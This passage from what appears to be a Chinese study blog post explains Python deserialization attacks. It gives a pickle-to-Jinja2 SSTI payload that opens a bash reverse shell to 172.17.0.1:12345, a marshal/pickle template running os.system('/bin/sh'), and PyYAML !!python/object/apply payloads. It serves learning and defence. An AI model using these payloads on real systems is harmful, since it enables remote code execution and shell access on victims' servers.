payload="cflask.templating\nrender_template_string\np0\n(S\"&#123;% for x in (().__class__.__base__.__subclasses__()) %&#125;&#123;%if x.__name__ =='catch_warnings'%&#125;&#123;&#123;x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')&#125;&#125;&#123;%endif%&#125;&#123;%endfor%&#125;\"\np1\ntp2\nRp3\n."

我们去掉转义字符后理解一下:

1
2
3
4
5
6
payload = (
"cflask.templating\nrender_template_string\np0\n"
"(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}"
"{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}"
"{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."
)

关键部分解释

  • cflask.templating\nrender_template_string\n
    — GLOBAL 操码,表示从 flask.templating 模块获取 render_template_string 函数。

  • (S"..."
    — 构造参数,传入模板字符串(SSTI payload)。

  • SSTI payload本体:

    1
    2
    3
    4
    5
    {% for x in (().__class__.__base__.__subclasses__()) %}
    {% if x.__name__ == 'catch_warnings' %}
    {{x.__repr__.im_func.func_globals.linecache.os.system('bash -c "bash -i >& /dev/tcp/172.17.0.1/12345 0>&1" &')}}
    {% endif %}
    {% endfor %}
    • 利用 Jinja2 模板语法遍历所有类的子类。
    • 找到名为 catch_warnings 的类(这是 Python 标准库 warnings 模块下的一个类,通常存在)。
    • 通过该类的 __repr__ 获取到底层的 Python 环境(利用 im_func、func_globals 跳转到 linecache,再到 os)。
    • 最终调用 os.system() 执行反弹 shell 命令,将 shell 连接到攻击者主机(如 172.17.0.1:12345)。
  • R
    — REDUCE 操码,表示用前面找到的函数(render_template_string)和参数调用,完成 SSTI 注入。

其他python反序列化漏洞

Marshal 反序列化

之前我们提到过,Python 有两个内置的对象序列化模块:picklemarshal

  • pickle 是通用的对象序列化工具,可以序列化大部分 Python 对象(但不支持 code object),开发中推荐用它来做数据持久化和对象传输。
  • marshal 是 Python 早期就有的模块,主要用于序列化 Python 的内部对象(如 code object),常见于 .pyc 文件的读写。它可以序列化 code object,但并不适合通用数据存储,且兼容性不好,不推荐用于开发者自己的数据持久化需求。
1
2
3
4
5
6
7
8
9
import base64
import marshal

def demo():
import os
os.system('/bin/sh')

code_serialized = base64.b64encode(marshal.dumps(demo()))
print(code_serialized)

但是marshal不能直接使用__reduce__, 因为reduce是利用调用某个callable并传递参数来执行的, 而marshal函数本身就是一个callable, 需要执行它,而不是将他作为某个函数的参数.

这时候就要利用上面分析的那个PVM操作码来进行构造了,先写出来需要执行的内容,Python能通过types.FunctionTyle(func_code,globals(),'')()来动态地创建匿名函数,这一部分的内容可以看官方文档的介绍。

结合上文的示例代码, 最重要执行的是: (types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))().

这里直接贴一下别的师傅给出来的Payload模板.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import pickle
import marshal

def foo():
import os
os.system('whoami;/bin/sh') # evil code

shell = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))

PyYAML 反序列化

PyYAML 简介

  • PyYAML 是 Python 中最常用的 YAML 解析与序列化库。支持将 YAML 文本转换(反序列化)为 Python 对象,也能将 Python 对象序列化为 YAML 文本。
  • 安装方式:pip install pyyaml

PyYAML 反序列化的常用方法

  • yaml.load(stream):将字符串/文件流反序列化为 Python 对象。
  • yaml.safe_load(stream):更安全的反序列化方式,只支持基本数据类型。

漏洞点

PyYAML 的 YAML 标签机制:

YAML 支持自定义标签(tag),PyYAML 利用这些标签可以把 YAML 文本还原为任意 Python 对象。

这些标签可以让 YAML 反序列化时,动态构造Python 对象,甚至调用函数、执行系统命令。

源码分析:找到yaml/constructor.py文件, 查看文件代码中的三个特殊Python标签的源码:

  • !!python/object标签.
  • !!python/object/new标签.
  • !!python/object/apply标签.

这三个Python标签中都是调用了make_python_instance函数, 跟进查看该函数。可以看到, 在该函数是会根据参数来动态创建新的Python类对象或通过引用module的类创建对象, 从而可以执行任意命令。

make_python_instance函数是 PyYAML 的核心危险点。它会根据 YAML 里的参数,动态加载模块、类、函数,并用参数实例化对象或调用函数。如果 YAML 数据中指定的是如 os.system 这样的函数,并传入恶意参数,就会直接执行命令,造成 远程命令执行(RCE)漏洞

Payload(PyYaml < 5.1)

PyYAML 5.1 之前,默认的 yaml.load() 就是完全不安全的。只要你反序列化了带有高危标签的 YAML,攻击者就可以执行任意命令。

1
2
3
4
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
  • 这会调用 os.system("calc.exe"),弹出计算器。
  • 本质:通过标签,把任意 Python 函数拿到并调用,参数可控,威力极大。

Pyload(PyYaml >= 5.1)

PyYAML 5.1 之后,默认不再使用不安全的 Loader,而用更安全的 SafeLoader

  • yaml.load() 默认只允许安全类型(list、dict、str、int、float),不再还原自定义对象。
  • 需要显式用 unsafe_load() 或指定 Loader=Loader 才会支持高危标签。
  • 只有用 unsafe_load 或手动指定 Loader=Loader,才会触发任意对象还原/代码执行。
1
2
3
4
5
6
from yaml import *

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)
print(deserialized_data)
1
2
3
4
5
6
from yaml import *

data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data)
print(deserialized_data)

参考文献

一些源码:
https://github.com/python/cpython/blob/main/Lib/pickle.py

https://github.com/python/cpython/blob/main/Modules/_pickle.c

https://github.com/python/cpython/blob/main/Lib/pickletools.py

文章:

python:序列化与反序列化(json、pickle、shelve) - 秋寻草 - 博客园

python中的反序列化安全问题 - 知乎

一篇文章带你理解漏洞之 Python 反序列化漏洞 - Hexo

Python反序列化漏洞分析-先知社区

Python pickle 反序列化实例分析-安全KER - 安全资讯平台

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎

Python pickle 的 POP 指令码及其优化

Code-Breaking中的两个Python沙箱 | 离别歌

精华文章:

最近碰到的 Python pickle 反序列化小总结-先知社区

pickle反序列化初探-先知社区

通过AST来构造Pickle opcode-先知社区

BH_US_11_Slaviero_Sour_Pickles_Slides.pdf


python反序列化学习总结
http://example.com/2025/test33/
作者
sangnigege
发布于
2025年7月13日
许可协议